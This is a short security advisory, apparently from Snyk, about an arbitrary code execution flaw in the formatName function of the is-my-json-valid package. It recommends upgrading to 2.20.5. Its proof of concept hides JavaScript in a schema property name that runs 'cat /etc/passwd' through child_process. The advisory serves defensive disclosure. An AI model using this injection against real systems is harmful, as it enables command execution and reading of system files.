Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade org.webjars.npm:is-my-json-valid
to version 2.20.5 or higher.
Affected versions of this package are vulnerable to Arbitrary Code Execution via the formatName
function.
##PoC
const schema = {
type: 'object',
properties: {
'x[console.log(process.mainModule.require(`child_process`).execSync(`cat /etc/passwd`).toString(`utf-8`))]': {
required: true,
type:'string'
}
},
}
var validate = validator(schema);
validate({})